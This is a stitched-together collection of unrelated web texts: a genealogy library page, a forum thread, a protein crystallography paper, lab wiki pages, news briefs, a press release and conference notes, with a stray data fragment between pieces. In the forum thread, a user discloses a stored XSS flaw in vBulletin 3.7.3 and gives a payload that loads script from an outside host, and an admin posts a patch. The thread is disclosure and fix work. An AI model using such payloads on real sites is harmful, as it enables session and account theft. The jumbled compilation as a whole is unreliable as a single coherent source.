Gifts of family histories, organized collections, and other records that contain genealogical information are welcome. For example, you can write a history of your family and donate a copy to the Family History Library. When you donate an item, you can indicate that you would like the item microfilmed, as well. More details about donations.
View Guidelines for Gifts, Donations, and Loans to FamilySearch.
If you have questions about donations please contact:
Book Donations at:
801-240-1855
bookdonations@familysearch.org
Patron Resources
• 475 patron computers
• 408 microfilm readers
• 36 microfiche readers
• 27 digital microfilm and microfiche copiers
• 4 book scanners
• 14 book copiers
• Seating capacity for 375 at tables
• Orientation and research classes
What's New at the FamilySearch Library
Check out the new books that have been added to the collection! Please note that some browsers have problems with PDF files and to open these you may need to 'Right Click' and open in a new window.
US/Canada Collections (current)
British Collections (current)
International Collections (current)
Family History Collections (current)
Staff/Reference Collections (current)
Personnel
Guides
Group Visits
1. Guidelines for scheduling groups at the Family History Library.
2. Important information for a successful visit.
3. Group visit options.
4. Make a reservation.
FHL visitors describe their experiences:
FamilySearch Centers
Alternate Repositories
If you cannot find a source you need at the Family History Library, try one or more of these other repositories.
Repositories with very large genealogical collections
• Library of Congress, Washington, DC, Local History and Genealogy Reading Room is part of the world's largest library including 50,000 genealogies, 100,000 local histories, and collections of manuscripts, microfilms, maps, newspapers, photographs, and published material, strong in North American, British Isles, and German sources.
• National Archives I, Washington DC, census, pre-WWI military service & pensions, passenger lists, naturalizations, passports, federal bounty land, homesteads, bankruptcy, ethnic sources, prisons, and federal employees.
• Allen County Public Library (Indiana) home of the Periodical Source Index (PERSI), more than 350,000 printed books and 513,000 items of microfilm/fiche including family histories, censuses, city directories, passenger lists, military records, local histories, American Indians, African Americans, Canadian, British, & German collections.[2]
Repositories with significant Latter-day Saint collections
• Church History Library, Salt Lake City, LDS history 1830-now: diaries, manuscripts, Church records, photos, oral history, architectural drawings, pamphlets, newspapers, periodicals, maps, microforms, audiovisual material[3]
• Daughters of Utah Pioneers, SLC, the Museum displays artifacts, and the History Department collects and preserves about 100,000 histories of pioneers who set out for, settled, or were born in Utah by 10 May 1869.[4]
• Utah State Historical Society, SLC, family histories, photographs, books, manuscript collections, telephone directories, maps, newspapers, yearbooks, and periodicals are available in the Research Center and online.[5]
Neighboring repositories
Sources
1. https://www.familysearch.org/locations/saltlakecity-library
2. "Genealogy Center" in Allen County Public Library [Internet site] at http://www.acpl.lib.in.us/genealogy/index.html (accessed 18 October 2008).
3. "Church History Library and Archives" in The Church of Jesus Christ of Latter-day Saints [Internet site] at http://www.lds.org/churchhistory/library (accessed 18 October 2008).
4. "Pioneer Museum" and "History Department" pages in International Society ~ Daughter of Utah Pioneers [Internet site] at http://www.dupinternational.org/ (accessed 18 October 2008).
5. "Research Center and Collections" and "Collections Available at the Research Center" in Utah State History [Internet site] at http://history.utah.gov/research_and_collections/index.html (accessed 18 October 2008).
Need additional research help? Contact our research help specialists.
Need wiki, indexing, or website help? Contact our product teams.
Did you find this article helpful?
You're invited to explain your rating on the discussion page (you must be signed in).
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"uncompressed_offset": 417329987,
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vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
This is an article on vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix in Ethical hacking Tips.
NOTICE
THIS XSS/XSRF VULNERABILITY WAS FOUND BY ME.
@ admin (shabbir)
Please don't ban me for this. Because I have not used this hack for any illegal / harmful purposes. (You can check all records). I have just tested an exploited and found it positive. Please fix it soon. I write this article so as to bring this thing to your eyes first, before anyone else knows about it and takes advantage.
Please do NOT reject this article and please approve it. Please don't remove this NOTICE section.
Action
First, we must check the version of vBulletin used by G4EF :
(1) Open any page such as your user control panel.
(2) View the page-source.
(3) You discover this :
Code: css
<style type="text/css" id="vbulletin_css">
/**
* vBulletin 3.7.3 CSS
* Style: 'Default Style'; Style ID: 1
*/
@import url("clientscript/vbulletin_css/style-eb31dabe-00001.css");
</style>
(4) Perfect ! G4EF is not upgraded to latest 3.8.x vBulletin. So, we can hack it.
The vulnerability :
When vBulletin is used with "Visitor Messages" add-on, we can easily execute external code by XSS vulnerability that exists. When the XSS script is posted as visitor message, the data is run through htmlentities(); before being displayed to the general public/forum members. However, when posting a new message, a new notification is sent to the commentee (the one who receives). And when the commentee visits usercp.php (User Control Panel), under the domain he is hit with an unfiltered xss attach !
How I tested it :
(1) I opened a duplicate account : _H4X0R_, which I request shabbir to kindly delete now.
(2) I posted some test visitor messages. The most interesting (and working) one was <SCRIPT SRC=http://ha.ckers.org/xss.js>
(3) I logged out.
(4) I logged in as _H4X0R_.
(5) Opened my user control panel : usercp.php.
(6) Whoa !! XSS successful !
Conclusion
Please don't use this knowledge for illegal/harmful purposes. This was written only for educational purposes.
I think I deserve some good reputation points and/or some rewards for this !
Sorry shabbir, for using duplicate account but you may delete it now. You should also understand that this was important for the security of the forum and so please don't ban me
Go4Expert Founder
9Jun2009,13:11 #2
Thanks for reporting Saswat and Upgrading to 3.7.6 is the preferred solution which we would also be doing it but here is the quick fix. Using vBulletin 3.7.3 and having all the functionality and plugins tested I preferred not to upgrade immediately ( Though I have the upgrade option ) and here is the patch for this Vulnerability.
Open usercp.php file
Go to Line Number 250
Find the following Code
Code:
$visitormessage['summary'] = fetch_word_wrapped_string(fetch_censored_text(fetch_trimmed_title(strip_bbcode($visitormessage['pagetext'], true, true), 50)));
Replace with
Code:
$visitormessage['summary'] = htmlspecialchars_uni(fetch_word_wrapped_string(fetch_censored_text(fetch_trimmed_title(strip_bbcode($visitormessage['pagetext'], true, true), 50))));
And that should be fine for this problem.
vBulletin also recommendeds to upgrade to latest version which has all the fixes.
~ Б0ЯИ Τ0 С0δЭ ~
9Jun2009,17:46 #3
Glad to know that it's fixed.
Security Expert
10Jun2009,07:05 #4
ncie find. I really like XSS vulnerabilities. not 100% sure but i think its already reported to miliw0rm couple of months back.
Last edited by indiansword; 10Jun2009 at 07:07..
~ Б0ЯИ Τ0 С0δЭ ~
10Jun2009,07:14 #5
What's miliw0rm ?
Security Expert
10Jun2009,07:20 #6
checkout miliw0rm.com , all the vulnerabilities which are found by different hackers and penetration testers are released under that program. Just search for "vbulletin" and you will see lots of them. This site plays a major role to help the developers of different CMSes to release a new version of their software after fixing the vulnerabilities.
~ Б0ЯИ Τ0 С0δЭ ~
10Jun2009,07:47 #7
Yeah, I got it. But it's not miliw0rm.com, it's milw0rm.com.
Lots of vulnerabilities and a md5 cracker too : perfect package for hackers.
Security Expert
10Jun2009,07:50 #8
yea sorry for that speling mistake.
Go4Expert Founder
10Jun2009,08:55 #9
Yes it was found on many other websites as well but no one had the Patch unless you upgrade the complete code and so here I provided the patch as well. Enjoy
Newbie Member
10Jun2009,13:36 #10
great piece of information
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About this Journal Submit a Manuscript Table of Contents
Archaea
Volume 2013 (2013), Article ID 568053, 5 pages
http://dx.doi.org/10.1155/2013/568053
Research Article
Crystal Structure of PAV1-137: A Protein from the Virus PAV1 That Infects Pyrococcus abyssi
1Institut de Biochimie et de Biophysique Moléculaire et Cellulaire, CNRS-UMR 8619, IFR115, Université Paris-Sud, Bâtiment 430, 91405 Orsay, France
2Laboratoire de Cristallographie et RMN Biologiques-CNRS UMR-8015, Université Paris Descartes, Faculté des Sciences Pharmaceutiques et Biologiques, 4, av de l'Observatoire, 75270 Paris CEDEX 06, France
3Laboratoire de Biochimie (BIOC), CNRS UMR 7654, Ecole Polytechnique, Route de Saclay, 91128 Palaiseau, France
4Université de Brest, CNRS, IFREMER, UMR 6197, Laboratoire de Microbiologie des Environnements Extrêmes, OSU-IUEM, Technopôle Brest-Iroise, Avenue Dumont D'Urville, 29280 Plouzané, France
Received 31 October 2012; Accepted 12 February 2013
Academic Editor: Martin Lawrence
Copyright © 2013 N. Leulliot et al. This is an open access article distributed under the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
Abstract
Pyrococcus abyssi virus 1 (PAV1) was the first virus particle infecting a hyperthermophilic Euryarchaeota (Pyrococcus abyssi strain GE23) that has been isolated and characterized. It is lemon shaped and is decorated with a short fibered tail. PAV1 morphologically resembles the fusiform members of the family Fuselloviridae or the genus Salterprovirus. The 18 kb dsDNA genome of PAV1 contains 25 predicted genes, most of them of unknown function. To help assigning functions to these proteins, we have initiated structural studies of the PAV1 proteome. We determined the crystal structure of a putative protein of 137 residues (PAV1-137) at a resolution of 2.2 Å. The protein forms dimers both in solution and in the crystal. The fold of PAV1-137 is a four-α-helical bundle analogous to those found in some eukaryotic adhesion proteins such as focal adhesion kinase, suggesting that PAV1-137 is involved in protein-protein interactions.
1. Introduction
The archaea domain is organized into two major phyla, the Crenarchaeota and the Euryarchaeota. The first phylum contains mainly the extremely thermophilic Sulfolobales, Desulfurococcales, and Thermoproteales. The vast majority of hyperthermophilic viruses were isolated from the Crenarchaeota infecting in particular the genera Sulfolobus, Thermoproteus, Acidianus, Pyrobaculum, Stygiolobus, and Aeropyrum [1, 2]. Their shapes are characterized by unusual morphologies very different from bacterialviruses and eukaryotic viruses. Genomic sequences were determined for some of these archaeal viruses and revealed a very high portion of ORFan genes [3]. Due to their exceptional morphological and genomic properties, they were assigned to eight novel viral families [1].
The Euryarchaeota phylum includes extreme halophiles, methanogens, and hyperthermophilic sulfur reducers (Thermococcales). Most of the viruses infecting this phylum are isolated from mesophilic hosts and are tailed viruses, whereas pleomorphic types are relatively rare [4]. The knowledge about archaeal viruses is still very limited and this is even more poignant for viruses that infect hyperthermophilic Euryarchaeota [5, 6]. To date, PAV1 and TPV1 (Thermococcus prieurii virus 1) are the only viruses isolated from cultivated marine hyperthermophilic euryarchaea. These spindle-shaped viruses are morphologically similar to the haloviruses of the genus Salterprovirus [7, 8] that infect extreme halophiles, and to crenarchaeal viruses assigned to the fusiform family Fuselloviridae [9], but they do not share any genomic properties. PAV1, isolated from Pyrococcus abyssi, was the first virus isolated and described in Thermococcales [10]. PAV1 virions display a lemon-shaped morphology (120 nm long and 80 nm wide) with a short tail (15 nm) terminated by fibers. Very recently a novel fusiform virus, TPV1, was isolated and characterized from the hyperthermophilic euryarchaeal genus Thermococcus [11].
PAV1 and TPV1 are released during all phases of host growth without causing host lysis. A simple procedure to spot viruses on cellular lawns and directly observe their impact has been specially designed. This allows determination of the host range and infectivity of viruses isolated from anaerobic hyper/thermophile sulfur-reducing microorganisms. We used this approach to prove the infectivity of PAV1 and to confirm the host range of TPV1, both of them being genus specific [12].
The genome of PAV1 is composed of a double stranded circular DNA. It was shown that the free viral genome exists as a multicopy plasmid in the host strain, but no integrated prophage could be detected. The complete genome of PAV1 contains 18,098 bp [13]. A number of 25 ORFs (open reading frames) encoding at least 50 amino acids were identified and almost all are located on the same strand. The shape of the viruses is perturbed upon treatment with organic solvents or detergents, suggesting that their envelopes contain lipids. This observation is supported by the fact that half of the PAV1 genome has predicted transmembrane helices. Sixty-five percent of the predicted proteins have no homologues in the sequence databases. Functions could only be vaguely suggested for three proteins. A 59 amino acid protein (PAV1-59) shares similarities to the CopG transcriptional regulators. Two other ORFs (PAV1-676 and PAV1-678) that are the only ORFs shared between the hyperthermophilic euryarchaeal viruses PAV1 and TPV1 contain one or two copies of the laminin G-like jelly roll fold and may hence be involved in adhesion to the host. Polycistronic mRNA analysis showed that all predicted genes are transcribed in six mRNAs.
In contrast with other lemon-shaped viruses isolated either from hypersaline waters (Salterprovirus) or from extreme geothermal terrestrial environments (Fuselloviridae), PAV1 was isolated from a remote deep-sea hydrothermal vent. So, the uniqueness of the PAV1 genome compared to those of other archaeal viruses may be a consequence of its evolutionary history [14]. Since no function could be proposed for most of the predicted ORFs, we set out to analyze the structures of the proteins encoded by the PAV1 genome. The assignment of function to archaeal proteins suffers from the absence of genetic data and sequence analogs in better-characterized organisms [1518]. 3D structure is better conserved than sequence and may reveal similarities that remain undiscovered by sequence analysis [19]. Therefore, structure determination offers a valuable alternative for investigating protein function. Indeed, the determination of the crystal structure of the AvtR protein from a hyperthermophilic archaeal lipothrixvirusallowed us to establish a role for this protein in the transcriptional regulation of viral genes [20]. We want in fine to find out if PAV1 protein structures are related to those of other archaeal virus proteins. We present here the X-ray crystal structure of a putative ORFan protein PAV1-137, to our knowledge the first for a euryarchaeal viral protein.
2. Results and Discussion
We purified the C-terminal His-tagged protein from a genetic construct deleted for the 14 first residues because sequence analysis predicted an unstructured conformation for this N-terminal region [21]. MALDI-TOF mass spectrometry analysis of the purified recombinant protein shows that the N-terminal methionine was cleaved off during the production in E. coli. Gel filtration analysis suggests that the protein forms dimers in solution (not shown). Crystals were obtained in 35% PEG400, 0.5 M NH4Cl, 0.1 M Na citrate at pH 4, at a concentration of 15 mg/mL for the protein. Details of data collection and refinement are found in Table 1. All residues of the construct, except for the affinity tag, are visible in the electron density. Two copies of PAV1-137 are present in the asymmetric unit and their structures are almost identical (root mean square deviation = 0.5 Å).
Table 1: Data collection and refinement statistics.
PAV1-137 contains four amphipathic helices that are organized as a helical bundle. The three N-terminal helices form a parallel up and down configuration while the C-terminal helix is shorter and packs with an angle of about 45° against helices 1 and 3. The core of the 3 helices is very hydrophobic consisting mainly of branched aliphatic amino acids. The connections between helices 1, 2, and 3 are short. The connection between helices 3 and 4 is a longer stretch, resulting in a less tight packing of helix 4 compared to the other helices.
The A and B monomers in the asymmetrical unit form a two-fold symmetrical dimer and the symmetry axis runs perpendicular to the direction of the long helices (Figure 1). The helices of both monomers associate to form an antiparallel super helical bundle. The dimer interface involves helices 1, 2, and 4. The accessible surface of each subunit buried by dimer formation is substantial. The accessible surface area for the monomer is 7300 Å2. Dimerisation buries 1278 Å2 per monomer corresponding to 17% of the solvent accessible surface area. The majority of interactions between the monomers are conferred by helix 4 that lies against the extremities of helices 1 and 2. The interface is more hydrophilic than the core of the helical bundle and is stabilized by 9 hydrogen bonds, mainly between side chain and side or main chain atoms.
Figure 1: Two perpendicular views of the X-ray structure of the PAV1-137 dimer. The two subunits are represented in rainbow colouring going from blue (N-terminal) to red (C-terminal). The N and C terminus and the helices of the two subunits are labelled. The two-fold axis is indicated.
Orthologs of PAV1-137 were recently reported in genomic sequences of new thermococcus plasmids [14]. The gene coding for the ortholog of PAV1-137 is found in tandem with an ortholog of gene PAV1-375 in three of these plasmids. Surprisingly, it also formed a three-gene cluster, which is conserved within the provirus A3 VLP of the euryarchaeal methanogens Methanococcus voltae A3 [22]. PAV1-375 likely encodes for a P-loop ATPase, but its association with PAV1-137 remains unclear. PAV1-137 has presently no structural analogues in the Protein Data Bank that could help defining its function. The lack of sequence analogues at the start of this study suggested that PAV1-137 might adopt a new fold. Helical bundles are extremely common in protein structures. Therefore we found substantial structural similarities with proteins sharing helical bundle architecture. Examination of the function of these proteins clearly shows that the structural similarity does not indicate functional relationships. For example, significant overlaps are found between PAV1-137 and fragments of Talin and Focal adhesion kinase, both from eukaryotic origin (-score 5 and root mean square difference of 3.2 Å for 100 aligned residues) [23, 24]. Helices 1, 2, and 3 of PAV1-137 superpose well onto helices 2, 3, and 4 of the eukaryotic helical bundles. No equivalent is present in these eukaryotic analogues for the fourth helix found in PAV1-137. The C-terminal helix adopts a different orientation and has no equivalent in Talin or Focal adhesion kinase.
Since PAV1-137 does not seem to carry any active site, its biological function is probably connected with protein-protein or protein-nucleic acid interactions. Helical bundle proteins are frequently involved in this type of interactions, exemplified by Talin. Virtually nothing is known about the life cycle of PAV1. Its genome sequence was a first step towards a better understanding of this new type of viruses which may have evolved from a recombination event between different mobile genetic elements harbored by both hyperthermophilic and methanogenic euryarchaeota. We report here on the first results of the investigation on structure and function of proteins encoded by this virus.
3. Materials and Methods
3.1. Protein Production and Purification
The PAV1-137 ORF lacking the region encoding for the 14 N-terminal residues was amplified by PCR using genomic DNA of PAV1 virus as a template. An additional sequence coding for a 6-histidine tag was introduced at the 3′ end of the ORF during amplification. The PCR product was then cloned into pET28 vector. Expression was done at 37°C using the E. coli BL21 (Gold)DE3 strain. The His-tagged protein was purified on a Ni-NTA column (Qiagen Inc.) followed by gel filtration using a buffer composed of 20 mM Tris-HCl pH 7.5, 200 mM NaCl, and 10 mM b-mercaptoethanol. Selenomethionine-substituted PAV1-137 was produced and purified as the native protein. The peak fractions were concentrated to 15 mg/mL and used for crystallization.
3.2. Crystallization and Data Collection
Crystallization was performed using a Cartesian crystallization robot in 200 × 200 μl sitting drops (volume for protein and liquid mother) and reproduced manually in 1 × 1 μL drops. Crystals were obtained from the following crystallization conditions: 35% PEG400, 0.5 M NH4Cl, 0.1 M Na citrate at pH 4 at 18°C. Crystals were transferred in the mother liquor containing 30% glycerol prior to flash freezing in liquid nitrogen. X-ray diffraction data of SeMet substituted protein crystals were collected on the ID14-4 ESRF beamline and were processed using MOSFLM and SCALA [25]. The crystals belong to the P6122 space group with two molecules per asymmetric unit. The cell parameters and data collection statistics are reported in Table 1.
3.3. Structure Solution and Refinement
The structure was solved at a resolution of 2.2 Å by single anomalous diffraction (SAD) using data collected at the Selenium peak wavelength. The Hyss module of Phenix program [26] was used to find the Selenium sites using the entire resolution range. The sites were refined with SHARP [27], and solvent flattening was performed with DM. Arp/Warp [28] built 95% of the visible residues. The model was fully refined and completed from the native data using Buster and the graphics programme O [29, 30]. Refinement was carried out using noncrystallographic symmetry restraints and one TLS group per chain (statistics are shown in Table 1) with the program Buster. All the residues fall in favourable regions of the Ramachandran plot.
For homology search, we did a Psi-BLAST analysis using standard procedures as provided by the NIH blastserver (http://blast.ncbi.nlm.nih.gov.gate1.inist.fr/Blast.cgi).
Accession Number
The structure factor amplitudes and the refined coordinates of PAV1-137 have been deposited in the Protein Data Bank as entry 4HR1.
Acknowledgments
This work was supported by a grant from the Agence Nationale de Recherche (no. ANR-BLAN-0408-03). The authors are indebted to Benjamin Dray and Nathalie Ulryck for the technical assistance.
References
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9. P. Redder, X. Peng, K. Brügger et al., “Four newly isolated fuselloviruses from extreme geothermal environments reveal unusual morphologies and a possible interviral recombination mechanism,” Environmental Microbiology, vol. 11, no. 11, pp. 2849–2862, 2009. View at Publisher · View at Google Scholar · View at Scopus
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11. A. Gorlas, E. V. Koonin, N. Bienvenu, D. Prieur, and C. Geslin, “TPV1, the first virus isolated from the hyperthermophilic genus Thermococcus,” Environmental Microbiology, vol. 14, no. 2, pp. 503–516, 2012. View at Publisher · View at Google Scholar
12. A. Gorlas and C. Geslin, “A simple procedure to determine the infectivity and host range of viruses infecting anaerobic and hyperthermophilic microorganisms,” Extremophiles, 2013.
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18. A. Goulet, M. Pina, P. Redder et al., “ORF157 from the archaeal virus Acidianus filamentous virus 1 defines a new class of nuclease,” Journal of Virology, vol. 84, no. 10, pp. 5025–5031, 2010. View at Publisher · View at Google Scholar · View at Scopus
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21. S. Hirose, K. Shimizu, S. Kanai, Y. Kuroda, and T. Noguchi, “POODLE-L: a two-level SVM prediction system for reliably predicting long disordered regions,” Bioinformatics, vol. 23, no. 16, pp. 2046–2053, 2007. View at Publisher · View at Google Scholar · View at Scopus
22. M. Krupovič and D. H. Bamford, “Archaeal proviruses TKV4 and MVV extend the PRD1-adenovirus lineage to the phylum Euryarchaeota,” Virology, vol. 375, no. 1, pp. 292–300, 2008. View at Publisher · View at Google Scholar · View at Scopus
23. S. T. Arold, M. K. Hoellerer, and M. E. M. Noble, “The structural basis of localization and signaling by the focal adhesion targeting domain,” Structure, vol. 10, no. 3, pp. 319–327, 2002. View at Publisher · View at Google Scholar · View at Scopus
24. E. Papagrigoriou, A. R. Gingras, I. L. Barsukov et al., “Activation of a vinculin-binding site in the talin rod involves rearrangement of a five-helix bundle,” EMBO Journal, vol. 23, no. 15, pp. 2942–2951, 2004. View at Publisher · View at Google Scholar · View at Scopus
25. A. Leslie, Joint CCP4 and EACMB Newsletter Protein Crystallography, Daresbury Laboratory, Warrington, UK, 1992.
26. P. D. Adams, K. Gopal, R. W. Grosse-Kunstleve et al., “Recent developments in the PHENIX software for automated crystallographic structure determination,” Journal of Synchrotron Radiation, vol. 11, no. 1, pp. 53–55, 2004. View at Publisher · View at Google Scholar · View at Scopus
27. C. Vonrhein, E. Blanc, P. Roversi, and G. Bricogne, “Automated structure solution with autoSHARP,” Methods in Molecular Biology, vol. 364, pp. 215–230, 2007. View at Publisher · View at Google Scholar · View at Scopus
28. R. J. Morris, A. Perrakis, and V. S. Lamzin, “ARP/wARP and automatic interpretation of protein electron density maps,” Methods in Enzymology, vol. 374, pp. 229–244, 2003. View at Publisher · View at Google Scholar · View at Scopus
29. E. Blanc, P. Roversi, C. Vonrhein, C. Flensburg, S. M. Lea, and G. Bricogne, “Refinement of severely incomplete structures with maximum likelihood in BUSTER-TNT,” Acta Crystallographica Section D, vol. 60, no. 12, pp. 2210–2221, 2004. View at Publisher · View at Google Scholar · View at Scopus
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Stephanopoulos:Projects
From OpenWetWare
Revision as of 18:42, 12 July 2006 by Curt (Talk | contribs)
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Research
Our research is focused on Metabolic Engineering - the improvement of cellular properties, using modern genetic tools. This field encompasses two important components: a) the modification of biochemical pathways inside cells and b) the rigorous evaluation of the resulting cellular phenotypes.
Our most recent research has been focused on the following topics:
• Metabolic Engineering of E.Coli for the production of biochemicals
• Inverse Metabolic Engineering
• gTME
• Flux Determination
• Hepatocyte Physiology
• Metabolomics
• Systems Biology
To accomplish the above goals we make use of a diverse array of scientific tools and
methods, many of which have also become areas of research for our group:
• <a href="Bioinfo.shtml">Bioinformatics and Systems Biology</a> - Our group was one of the first to realize the importance of computational tools for handling the large volume of data generated by microarrays and other technologies.
• <a href="Fluxes.shtml">Methods for intracellular flux determination</a> - Fluxes are determined by material balancing, NMR fine spectra analysis and GC-MS measurements.
• <a href="Microarray.shtml">DNA microarrays</a> - We have developed full genome microarrays for Synechocystis Sp., and partial microarrays for C. glutamicum, E. coli, and the mouse genomes.
• <a href="BioReactor.shtml">Bioreaction network analysis.</a>
</html>
Address
Massachusetts Institute of Technology
Department of Chemical Engineering
Cambridge, MA 02139
Room 56-469
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User:David J. Gifford
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Contents
Contact Info
David J. Gifford (an artistic interpretation)
• David J. Gifford
• RIKEN Institute
• １丁目-７-２２ Suehirocho Tsurumi Ward, Yokohama, Kanagawa Prefecture, JAPAN
I work in the Bioinformatics and Systems Engineering Division at RIKEN Yokohama Institute. I learned about OpenWetWare from references in iGem, and I've joined because I would like to set up an OpenWetWare wiki for our GenoCon Genomic Design project http://genocon.org. Dr. Robert Sidney Cox III also works on GenoCon.
Link to GenoCon OpenWetWare Wiki page
Education
• 1981, BA, Harvard College, History of Science
Research interests
1. Bioinformatics
2. Linked Open Data
3. Semantic Web
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User:Torsten Waldminghaus/Notebook/dnaC2 temperature shift experiment
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Contents
Principle
The dnaC2 mutation in E. coli can be used as tool to synchronize DNA replication. The DnaC protein is needed for initiation of replication. Temperal inactivation via temperature shift of the ts mutant DnaC2 leeds to stop of initiation. Shift back to lower temperature leads to restart of replication.
Protocol
• Grow 100ml culture in desired medium at 30°C starting the culture with an over night culture 1:1000
• At OD 0.075 shift the culture to 39°C
• after 70 min put the flask back to 30°C and add 4°C medium according to the Temperature mixing formula to cool the culture directly to 30°C
• Take 5ml sample "0" right before temperature down shift and than at differnt timepoints after downshift (for example at 2, 4, 6, 8, 10, 15, 25 min [1])
• Mix samples directly with 10ml ice cold Killing Buffer and put on ice (samples should be processed as fast as possible)
• Spin down cells 3 min max. speed at 4°C and take of supernatant
DNA isolation
• resuspend in 300μL [TE] and add 40μL 10%SDS and 3μL 0.5M EDTA
• incubate 5 min at 65°C
• add 750μL isopropanole and mix
• spin at max. speed for 5 min
• resuspend pellet in 500μL TE and add 2μL RNase A (25mg/ml)
• incubate for 30 min at 65°C
• add 2μL protease K (25mg/ml) and incubate at 37°C for 15 min
• phenol extract (2*phenol & 2*chlorophorm)
• precipitate over night with 1ml ethanol and 40μL 3M Na-Acetate
• spin down DNA at 4°C for 15 min, wash in 70% ethanol and resuspend pellet in 50μL A. dest
References
1. Bach T and Skarstad K. . pmid:15009887. PubMed HubMed [Bach-2004]
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Gaza rocket hits city near Tel Aviv, no damage reported
PanARMENIAN.Net - A rocket fired from the Gaza Strip on Thursday, November 15 struck Rishon LeTzion, some 15 kilometres (nine miles) southeast of Tel Aviv, the Israeli army said, but there were no injuries or damage, according to AFP.
The strike marked the furthest by far of hundreds of rockets fired by Gaza militants into southern Israel since the Jewish state launched a massive operation in the Hamas-controlled enclave on Wednesday.
Experts said it was most likely an Iranian-built Fajr 5 from Hamas’s arsenal, which have a range of up to 75 kilometres (46 miles).
“There was a rocket that hit in an open field in the Rishon LeTzion area. There were no injuries or damage,” an army spokeswoman said.
The city, Israel’s fourth largest with a population of some 228,000, lies about 50 kilometres (30 miles) north of the Gaza Strip.
The attack came as Israel carried out waves of air strikes on Gaza, killing 15 Palestinians, at least seven of them Hamas militants in a 24-hour period.
Over the same period, militants fired more than 200 rockets at Israel, killing three people and injuring 19, of them three soldiers.
The Qassam Brigades assumed responsibility, saying in a statement they “launched a local rocket at Tel Aviv”, which could imply the rocket was in fact not a Fajr 5.
Israeli Prime Minister Benjamin Netanyahu said earlier Thursday the Israeli air force had “caused significant damage to the Fajr rockets aimed at Tel Aviv, the (surrounding) Dan region and north of that.”
He also pledged to take “whatever action is necessary” to defend Israeli citizens from Palestinian rocket attacks, in a statement to the media.
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Jorge Rafael Videla, an austere former army commander, led Argentina during the bloodiest days of its Dirty War dictatorship.
According to the United Nations, April was Iraq's bloodiest month for almost five years, with 712 people killed.
Reports suggest the rebel fighters may have tried to blow up the walls of the prison, which holds some 4,000 inmates.
Moscow has condemned other nations for supporting rebel forces and failing to condemn what it describes as terrorist attacks on the Syrian regime.
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Greenways Foods & Beverages appoints Mr. Vinod Gaikwad as GM-Marketing
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Greenways Foods & Beverages (D) Pvt Ltd, part of the reputed 4 decade old Pushpam Group, has roped in Mr. Vinod Gaikwad as GM-Marketing
Hyderabad, A.P, India., February 18, 2013 - (PressReleasePoint) -
Greenways Foods & Beverages (D) Pvt Ltd, part of the reputed 4 decade old Pushpam Group, has roped in Mr. Vinod Gaikwad as GM-Marketing, an expert strategist and marketer and has worked with a diverse range of FMCG companies like IMRB, SCPIPL, ABRL, HUL, Mother’s Recipe etc, . A veteran professional in FMCG & Retail industry having a rich experience of more than a decade in brand management, business development, sales and strategic planning. Mr Vinod Gaikwad as GM-Marketing would be responsible for the Launch of various energy drink products in India along with managing day-to-day operations, developing strategic marketing and sales initiatives.
Mr. Vinod Gaikwad, GM-Marketing states. “I feel that this is a great time to work on beverage category when it is growing with an avg CAGR of 30-35%. The firm is planning to come up with some truly ground-breaking work in the beverage space in India, and I look forward to building on that success and very much look forward to build the company business in Maharashtra and across India.”
An enthusiastic leader and an innovator, he constantly brought in fresh ideas to table and built strong brand equity among the key stakeholders. Mr Vinod Gaikwad holds the Master’s degree in Zoology from Institute of Science, Mumbai University. Armed with Masters in Management Studies from MET, Bandra, Mr.Vinod Gaikwad has handled several complex and challenging situations which has catapulted him to success in the industry.
Dr. Sachin Chopda CMD – Greenways Food and Beverages Pvt Ltd. says in an official communique, “We intend to drive our leadership in FMCG industry with this appointment. Vinod comes in with rich marketing experience which is best suited to understand marketing rationale and provide strategic solutions.”
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Reputation Monitoring & Management
Aug 8, 2006 • 1:20 pm | (6) by | Filed Under Search Engine Strategies 2006 San Jose
First up is Rob Key from Converseon and starts by setting the landscape of search and brand reputation. Search engine results represent the first and most visible impressions to people. Google has indeed become a front page of corporate websites. He says often the decentralization of content creation and the wide availably of affordable personal publishing technology have allowed consumers to have a substantial say in your brands reputation. 44% of internet users are content creators according to Pew. CGM content, such as blogs, continues to rapidly gaining visibility with top search engine results. Search has become the connective tissue between information seekers and users. He puts up the Pyramid of reputation conversation.
How reliable is information from consumers? Google itself is says they make no claim to the truth of the documents. The way you are being defined today is in the hands of third parties. He gives the example of Splenda, and how there is corporate information and then consumer information about how Splenda is bad. He shows the iTunes example of people not a fan get a website listing in the top 10 results. Coke has another example when you search for its name. So the implications of reputation aware. A brand is an experience that creates an impressions. So what do you do when you have bad reputations.
Let’s Sue Them!
Some companies have responded with litigation, however the resulting publicity can intensify the perception problem. He says there is a better solution to this. First they map the conversation and create a SERP visibility map. The look at the company name and then take all the misspellings to search for domains. All of that is above the water line. What is next is to go below the water line. Conversation mining technology is emerging. They conducted a sentiment analysis and they found that the top search engine listings kinda mirror the sentiment below the water line or what people are talking about. He then goes into how you can mine various parts of the conversation. Where are the incidents of bad reputation or conversation going on. What is the sentiment? Topic? Tone? Influence? Depth of understanding? What are the existing versus “new” conversations?
He says you will usually find 10% that really link you, 50% percent that don’t really care, and the result don’t like you or are in a grey area. He talks about the search shelf space and how to maximize your visibility in that shelf space. Exploit it as much as you can. Two listings per domain in Google. Will need to get creative.. He recommends about generating optimized enterprise-generated content. Also leverage positive euthusiasts, those people that love your brand or product. Bring them into the brand. Also create social media environments to help build content from your consumers. He gives an example of iPod’s faulty batteries and how consumers created blogs and movies to broadcast their experience.
He finally recommends don’t go to the dark arts. Funny. Good presentation.
Second in this session is Rob Garner. Lots of Rob’s this session. He is from icrossing and mentions how he works on paid search campaigns for Fortune 500 companies. He got interested in this discipline initially.
So what digital brand management manager need to know? Where do you look online? Look at the typical sources. The good side of reputation management. Positive online brand perceptions are positive things. On the bad side, you can have many malicious attacks take on many forms such as copyright and trademark infringement. Negative and slanderous campaigns against the company, its brands. People place trust in search engines. What an define says about your brand has editorial credibility like a newspaper. Even though the opinions of major engines are automated, whether the info is true or not, its present. He next talks about the bounty on brand terms. He says there is an incentive for third parties to capture that brand traffic. He talks about site scraping, typo cranking, and content theft. Typo cranking, where scripts will generate typos of a brand name and see thousands of pages of these obscure names. He next goes into how your get started in reputation management. Ask the right questions and understand the space. He ends to use keyword suggestion tools to help manage your domains. Find those domains in the space that are available, buy domains in the private market.
